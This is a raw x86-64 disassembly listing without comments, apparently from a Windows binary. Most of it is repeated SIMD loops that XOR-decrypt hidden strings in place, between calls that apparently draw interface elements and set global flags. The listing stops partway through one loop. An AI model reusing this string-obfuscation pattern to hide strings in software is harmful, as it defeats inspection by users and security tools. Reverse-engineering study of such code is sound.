pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005b7f0
cmp r8d, 0x13
jge 0x14005b944
movsxd rax, r8d
lea r9, [rbp + 0x28f]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14005b910
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x28f]
call fcn.1400345b0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x14005b995
cmp qword [rdx + 0x4b28], r13
je 0x14005b9a1
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
cmp byte [0x140173665], r13b
mov eax, dword [0x140173660]
mulss xmm0, xmm9
subss xmm0, dword [rdx + 0x37e8]
mov dword [rbp + 0x780], eax
movzx eax, word [0x140173664]
mov dword [rbp + 0x3fc], 0x420c0000
mov word [rbp + 0x784], ax
addss xmm0, xmm11
movss dword [rbp + 0x3f8], xmm0
movups xmm0, xmmword [0x140173650]
movups xmmword [rbp + 0x770], xmm0
je 0x14005bb94
mov r8d, r13d
cmp r15d, 2
jl 0x14005bb4f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x774]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005ba40
cmp r8d, 0x16
jge 0x14005bb94
movsxd rax, r8d
lea r9, [rbp + 0x770]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x14005bb60
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x770]
call fcn.1400345b0
test al, al
je 0x14005bbbb
cmp dword [0x1401efdf0], r13d
jne 0x14005bbbb
mov byte [0x1401bb2ef], 1
call fcn.14000c5a0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x248]
subss xmm1, xmm0
subss xmm2, xmm7
subss xmm2, xmm15
cmp qword [rax + 0x1a0], r13
jne 0x14005bc07
cmp qword [rcx + 0x4b28], r13
je 0x14005bc13
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
cmp byte [0x140173603], r13b
movss xmm0, dword [rcx + 0x382c]
mov eax, dword [0x140173600]
mulss xmm0, xmm9
mov dword [rbp + 0xa4], eax
mulss xmm1, xmm9
movss dword [rbp + 0x214], xmm2
subss xmm1, xmm0
movsd xmm0, qword [0x1401735f8]
movsd qword [rbp + 0x9c], xmm0
subss xmm1, xmm8
movss dword [rbp + 0x210], xmm1
je 0x14005bdc5
mov r8d, r13d
cmp r15d, 2
jl 0x14005bd84
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401735f8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x9c], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0xa0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xa0], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x9c]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005bd91
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x9c]
call fcn.14000c490
movzx eax, word [0x140173eb0]
movsd xmm0, qword [str.vyp]
movzx ecx, word [0x140173750]
movsd qword [rsp + 0x7a], xmm0
movsd xmm0, qword [0x140173748]
xor byte [rsp + 0x7b], 0x39
xor byte [rsp + 0x7c], 0x3a
xor byte [rsp + 0x7d], 0x3b
xor byte [rsp + 0x7e], 0x3c
xor byte [rsp + 0x7f], 0x3d
xor byte [rbp - 0x80], 0x3e
xor byte [rbp - 0x7f], 0x3f
mov word [rbp - 0x7e], ax
movzx eax, byte [0x140173eb2]
xor byte [rbp - 0x7e], 0x40
xor al, 0x42
xor byte [rbp - 0x7d], 0x41
movsd qword [rbp - 0x5d], xmm0
xor byte [rbp - 0x5c], 0x39
xor byte [rbp - 0x5b], 0x3a
xor byte [rbp - 0x5a], 0x3b
xor byte [rbp - 0x59], 0x3c
xor byte [rbp - 0x58], 0x3d
xor byte [rbp - 0x57], 0x3e
xor byte [rbp - 0x56], 0x3f
movsd xmm0, qword [0x140173e60]
mov byte [rbp - 0x7c], al
lea rax, [rsp + 0x7a]
mov qword [rbp + 0xc98], rax
movzx eax, byte [0x140173752]
xor al, 0x42
mov word [rbp - 0x55], cx
xor byte [rbp - 0x54], 0x41
xor cl, 0x40
cmp byte [0x140173e6b], r13b
mov byte [rbp - 0x53], al
lea rax, [rbp - 0x5d]
mov qword [rbp + 0xca0], rax
mov eax, dword [0x140173e68]
mov dword [rbp + 0x14b], eax
mov byte [rsp + 0x7a], Ordinal_79
mov byte [rbp - 0x5d], Ordinal_79
mov byte [rbp - 0x55], cl
movsd qword [rbp + 0x143], xmm0
je 0x14005c024
mov r8d, r13d
cmp r15d, 2
jl 0x14005bfd6
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173e60]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x143], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x147]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x147], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x143]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005bff0
cmp byte [0x140173f43], r13b
lea rax, [rbp + 0x143]
movsd xmm0, qword [str.ypwysi]
mov qword [rbp + 0xca8], rax
mov eax, dword [0x140173f40]
mov dword [rbp + 0x157], eax
movsd qword [rbp + 0x14f], xmm0
je 0x14005c1c4
mov r8d, r13d
cmp r15d, 2
jl 0x14005c178
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.ypwysi]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x14f], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x153]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x153], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14f]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005c190
cmp byte [0x140173dfb], r13b
lea rax, [rbp + 0x14f]
movsd xmm0, qword [0x140173df0]
mov qword [rbp + 0xcb0], rax
mov eax, dword [0x140173df8]
mov dword [rbp + 0x163], eax
movsd qword [rbp + 0x15b], xmm0
je 0x14005c364
mov r8d, r13d
cmp r15d, 2
jl 0x14005c318
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173df0]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x15b], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x15f]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15f], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15b]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005c330
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0xc98]
lea rdx, [0x1401b9380]
mov dword [rsp + 0x20], 4
lea rcx, [rbp + 0x15b]
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x14005c3be
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14005c3e8
cmp qword [rax + 0x4b28], r13
je 0x14005c3f4
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
cmp byte [0x140173cbb], r13b
mulss xmm0, xmm9
subss xmm0, dword [rax + 0x37e8]
mov eax, dword [str.qtqC]
mov dword [rbp + 0x3dc], 0x420c0000
mov dword [rbp + 0x16f], eax
addss xmm0, xmm11
movss dword [rbp + 0x3d8], xmm0
movsd xmm0, qword [0x140173cb0]
movsd qword [rbp + 0x167], xmm0
je 0x14005c5a4
mov r8d, r13d
cmp r15d, 2
jl 0x14005c55e
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173cb0]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x167], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x16b]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16b], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x167]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005c570
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x167]
call fcn.1400345b0
test al, al
je 0x14005c5d9
mov eax, dword [reloc.WS2_32.dll_accept]
test eax, eax
jne 0x14005c5ce
mov byte [0x1401ba28e], 1
jmp 0x14005c5d9
cmp eax, 1
jne 0x14005c5d9
mov byte [0x1401bb34e], al
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x14005c617
cmp qword [rdx + 0x4b28], r13
je 0x14005c623
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
mov eax, dword [str.cspuF]
mov r8d, r13d
mulss xmm0, xmm9
subss xmm0, dword [rdx + 0x37e8]
mov dword [rbp + 0x5b], eax
movzx eax, word [0x140173b84]
mov word [rbp + 0x5f], ax
movzx eax, byte [0x140173b86]
mov byte [rbp + 0x61], al
addss xmm0, xmm11
mov dword [rbp + 0xec], 0x420c0000
movss dword [rbp + 0xe8], xmm0
movsd xmm0, qword [0x140173b78]
movsd qword [rbp + 0x53], xmm0
cmp r15d, 2
jl 0x14005c786
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173b78]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x53], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x57]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x57], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x53]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005c790
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x53]
call fcn.1400345b0
test al, al
je 0x14005cf75
mov eax, dword [reloc.WS2_32.dll_accept]
test eax, eax
jne 0x14005c7f2
mov byte [0x1401ba28d], 1
jmp 0x14005cf75
cmp eax, 1
jne 0x14005cbc3
cmp byte [0x140173983], r13b
movups xmm0, xmmword [0x140173970]
mov eax, dword [0x140173980]
mov dword [rbp + 0x858], eax
movups xmmword [rbp + 0x848], xmm0
je 0x14005c9b4
mov r8d, r13d
cmp r15d, 2
jl 0x14005c96f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x84c]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005c860
cmp r8d, 0x14
jge 0x14005c9b4
movsxd rax, r8d
lea r9, [rbp + 0x848]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005c980
comiss xmm13, dword [0x1401db7ec]
jbe 0x14005c9cc
lea rax, [rbp + 0x848]
mov qword [0x1401b7df0], rax
cmp byte [0x140173983], r13b
movups xmm0, xmmword [0x140173970]
mov eax, dword [0x140173980]
mov byte [0x1401ba28c], 1
movups xmmword [rbp + 0x6d8], xmm0
mov dword [0x1401db4ac], r13d
mov dword [rbp + 0x6e8], eax
je 0x14005cb94
mov r8d, r13d
cmp r15d, 2
jl 0x14005cb4f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x6dc]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005ca40
cmp r8d, 0x14
jge 0x14005cb94
movsxd rax, r8d
lea r9, [rbp + 0x6d8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
